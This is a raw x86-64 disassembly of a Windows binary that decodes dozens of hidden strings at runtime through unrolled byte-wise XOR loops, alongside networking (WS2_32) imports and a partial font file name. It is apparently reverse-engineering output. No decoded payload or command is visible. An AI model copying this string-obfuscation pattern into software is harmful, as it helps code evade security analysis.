xor byte [rsp + rcx + 0x35a], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x35b], al
add rcx, 0x1b
cmp rcx, 0x51
jb 0x14002f420
mov byte [rsp + 0x392], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0xd0], xmm1
lea rax, [rsp + 0x341]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x14002f5f4
lea rdx, [rsp + 0x341]
lea rcx, [rsp + 0xc0]
call fcn.140007de0
nop
mov rdx, qword [rsp + 0x3c8]
cmp rdx, qword [rsp + 0x3d0]
je 0x14002f7a5
movaps xmm0, xmmword [rsp + 0xa0]
movups xmmword [rdx], xmm0
movaps xmm1, xmmword [rsp + 0xb0]
movups xmmword [rdx + 0x10], xmm1
movdqa xmm0, xmmword [0x1401a7650]
movdqa xmmword [rsp + 0xb0], xmm0
mov byte [rsp + 0xa0], 0
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [rdx + 0x20], xmm0
movaps xmm1, xmmword [rsp + 0xd0]
movups xmmword [rdx + 0x30], xmm1
movdqa xmm0, xmmword [0x1401a7650]
movdqa xmmword [rsp + 0xd0], xmm0
mov byte [rsp + 0xc0], 0
add qword [rsp + 0x3c8], 0x40
jmp 0x14002f7bb
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0xa0]
call fcn.140033600
mov r9, rax
lea rdx, [rax + 1]
lea r8, [rax + 3]
mov rbx, 0xfffffffffffffffd
sub rbx, rax
nop word [rax + rax]
lea rcx, [r8 + rdx]
movzx eax, byte [r9]
xor byte [rcx + rbx], al
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
lea r8, [r8 + 0x17]
lea rax, [r8 + rbx]
cmp rax, 0x45
jae 0x140032ec6
nop dword [rax]
jmp 0x14002f6d0
lea r8, [rsp + 0xa0]
lea rcx, [rsp + 0x3c0]
call fcn.140043320
nop
lea rcx, [rsp + 0xc0]
call fcn.1400041e0
lea rcx, [rsp + 0xa0]
call fcn.1400041e0
movdqa xmm0, xmmword [0x1401a7a20]
movdqu xmmword [rsp + 0x58], xmm0
movdqa xmm1, xmmword [str.ons_Regular.ttf]
movdqu xmmword [rsp + 0x68], xmm1
mov rdx, qword [0x1401c6948]
lea rax, [rsp + 0x59]
mov rcx, r15
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002f800
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x140032b3c
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c6938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x59]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0xa0]
call fcn.140026cc0
nop
movdqa xmm0, xmmword [0x1401a7890]
movdqa xmmword [rsp + 0x340], xmm0
movdqa xmm1, xmmword [0x1401a7940]
movdqa xmmword [rsp + 0x350], xmm1
movdqa xmm0, xmmword [0x1401a7b80]
movdqa xmmword [rsp + 0x360], xmm0
movdqa xmm1, xmmword [0x1401a7c00]
movdqa xmmword [rsp + 0x370], xmm1
movdqa xmm0, xmmword [0x1401a7a10]
movdqa xmmword [rsp + 0x380], xmm0
mov word [rsp + 0x390], 0x7062
mov byte [rsp + 0x392], 0
mov rcx, r14
nop word [rax + rax]
movzx eax, byte ds:[rsp + 0x340]
xor byte [rsp + rcx + 0x341], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x342], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x343], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x344], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x345], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x346], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x347], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x348], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x349], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x34a], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x34b], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x34c], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x34d], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x34e], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x34f], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x350], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x351], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x352], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x353], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x354], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x355], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x356], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x357], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x358], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x359], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x35a], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x35b], al
add rcx, 0x1b
cmp rcx, 0x51
jb 0x14002f8c0
mov byte [rsp + 0x392], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0xd0], xmm1
lea rax, [rsp + 0x341]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x14002fa94
lea rdx, [rsp + 0x341]
lea rcx, [rsp + 0xc0]
call fcn.140007de0
nop
mov rcx, qword [rsp + 0x3c8]
cmp rcx, qword [rsp + 0x3d0]
je 0x14002fae2
lea rdx, [rsp + 0xa0]
call fcn.1400460e0
add qword [rsp + 0x3c8], 0x40
jmp 0x14002fafb
lea r8, [rsp + 0xa0]
mov rdx, rcx
lea rcx, [rsp + 0x3c0]
call fcn.140043320
nop
lea rcx, [rsp + 0xa0]
call fcn.140016f00
lea rdx, [rsp + 0x58]
call fcn.1400336b0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
mov byte [r8 + 0x1e], 0
mov rdx, r13
lea rcx, [rsp + 0xa0]
call fcn.140023e50
nop
lea rdx, [rsp + 0x340]
call fcn.1400336f0
mov r9, rax
lea rdx, [rax + 1]
lea r8, [rax + 3]
mov rbx, 0xfffffffffffffffd
mov r10, rbx
sub r10, rax
nop
lea rcx, [rdx + r10]
movzx eax, byte [r9]
xor byte [rcx + r8], al
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
lea r8, [r8 + 0x1b]
lea rax, [r10 + r8]
cmp rax, 0x51
jb 0x14002fbb0
mov byte [rdx + 0x51], 0
lea rcx, [rsp + 0xc0]
call fcn.140007da0
nop
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x3c0]
call fcn.14003b830
nop
lea rcx, [rsp + 0xa0]
call fcn.140016f00
lea rdx, ds:[rsp + 0xa0]
call fcn.140033790
lea r8, ds:[rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
mov byte [r8 + 0x21], 0
mov rdx, r13
lea rcx, [rsp + 0x340]
call fcn.140023e50
nop
lea rdx, [rsp + 0x130]
call fcn.1400337e0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax]
nop dword [rax + rax]
lea rdx, ds:[r11 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
lea r8, [r8 + 0x1c]
lea rax, [r10 + r8]
cmp rax, 0x54
jb 0x14002fd90
mov byte [r11 + 0x54], 0
mov rdx, r11
lea rcx, [rsp + 0x360]
call fcn.140007da0
nop
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x3c0]
call fcn.14003b830
nop
lea rcx, [rsp + 0x340]
call fcn.140016f00
lea rdx, [rsp + 0x58]
call fcn.140033880
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
mov byte [r8 + 0x17], 0
mov rdx, r13
lea rcx, [rsp + 0xa0]
call fcn.140023e50
nop
lea rdx, [rsp + 0x340]
call fcn.1400338c0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop
lea rdx, [r10 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
movzx eax, byte [r9]
xor byte [r8 + 0x1b], al
movzx eax, byte [r9]
xor byte [r8 + 0x1c], al
movzx eax, byte [r9]
xor byte [r8 + 0x1d], al
movzx eax, byte [r9]
xor byte [r8 + 0x1e], al
movzx eax, byte [r9]
xor byte [r8 + 0x1f], al
movzx eax, byte [r9]
xor byte [r8 + 0x20], al
movzx eax, byte [r9]
xor byte [r8 + 0x21], al
movzx eax, byte [r9]
xor byte [r8 + 0x22], al
lea r8, [r8 + 0x25]
lea rax, [r10 + r8]
cmp rax, 0x4a
jb 0x14002ff50
mov byte ds:[r11 + 0x4a], 0
mov rdx, r11
lea rcx, [rsp + 0xc0]
call fcn.140007da0
nop
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x3c0]
call fcn.14003b830
nop
lea rcx, [rsp + 0xa0]
call fcn.140016f00
lea rdx, [rsp + 0x680]
call fcn.140033950
lea r8, ds:[rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
mov byte [r8 + 7], 0
mov rdx, r13
lea rcx, [rsp + 0x58]
call fcn.140023e50
nop
lea r8, [rsp + 0x418]
mov rdx, rax
lea rcx, [rsp + 0x340]
call fcn.140023ec0
nop
lea rdx, [rsp + 0xa0]
call fcn.140033970
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax]
lea rdx, [r10 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
lea r8, [r8 + 0x1d]
lea rax, [r10 + r8]
cmp rax, 0x3a
jb 0x140030140
mov byte [r11 + 0x3a], 0
lea r8, [rsp + 0x418]
mov rdx, r11
lea rcx, [rsp + 0x360]
call fcn.140023ca0
nop
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x3c0]
call fcn.14003b830
nop
lea rcx, [rsp + 0x340]
call fcn.140016f00
nop
lea rcx, [rsp + 0x58]
call fcn.1400041e0
lea rdx, [rsp + 0x58]
call fcn.1400339e0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
mov byte [r8 + 0x18], 0
mov rdx, r13
lea rcx, [rsp + 0xa0]
call fcn.140023e50
nop
lea rdx, [rsp + 0x340]
call fcn.140033a20
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r10 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
lea r8, [r8 + 0x19]
lea rax, [r10 + r8]
cmp rax, 0x4b
jb 0x140030320
mov byte [r11 + 0x4b], 0
mov rdx, r11
lea rcx, [rsp + 0xc0]
call fcn.140007da0
nop
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x3c0]
call fcn.14003b830
nop
lea rcx, [rsp + 0xa0]
call fcn.140016f00
lea rdx, ds:[rsp + 0x80]
call fcn.140033ab0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
mov byte [r8 + 0x12], 0
mov rdx, r13
lea rcx, [rsp + 0xa0]
call fcn.140023e50
nop
lea rdx, [rsp + 0x340]
call fcn.140033ae0
mov r9, rax
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
lea rdx, ds:[r8 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r9 + 1], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
lea r8, [r8 + 0x17]
lea rax, [r8 + r10]
cmp rax, 0x45
jb 0x1400304b2
mov byte ds:[r9 + 0x46], 0
lea rdx, [r9 + 1]
lea rcx, [rsp + 0xc0]
call fcn.140007da0
nop
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x3c0]
call fcn.14003b830
nop
lea rcx, [rsp + 0xa0]
call fcn.140016f00
lea rdx, [rsp + 0x80]
call fcn.140033b80
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
mov byte [r8 + 0x15], 0
mov rdx, r13
lea rcx, [rsp + 0xa0]
call fcn.140023e50
nop
lea rdx, [rsp + 0x340]
call fcn.140033bb0
mov r9, rax
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax]
lea rdx, ds:[r8 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r9 + 1], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
movzx eax, byte [r9]
xor byte [r8 + 0x1b], al
movzx eax, byte [r9]
xor byte [r8 + 0x1c], al
movzx eax, byte [r9]
xor byte [r8 + 0x1d], al
movzx eax, byte [r9]
xor byte [r8 + 0x1e], al
movzx eax, byte [r9]
xor byte [r8 + 0x1f], al
movzx eax, byte [r9]
xor byte [r8 + 0x20], al
movzx eax, byte [r9]
xor byte [r8 + 0x21], al
lea r8, [r8 + 0x24]
lea rax, [r8 + r10]
cmp rax, 0x48
jb 0x140030650
mov byte ds:[r9 + 0x49], 0
lea rdx, [r9 + 1]
lea rcx, [rsp + 0xc0]
call fcn.140007da0
nop
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x3c0]
call fcn.14003b830
nop
lea rcx, [rsp + 0xa0]
call fcn.140016f00
lea rdx, [rsp + 0xa0]
call fcn.140033c40
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
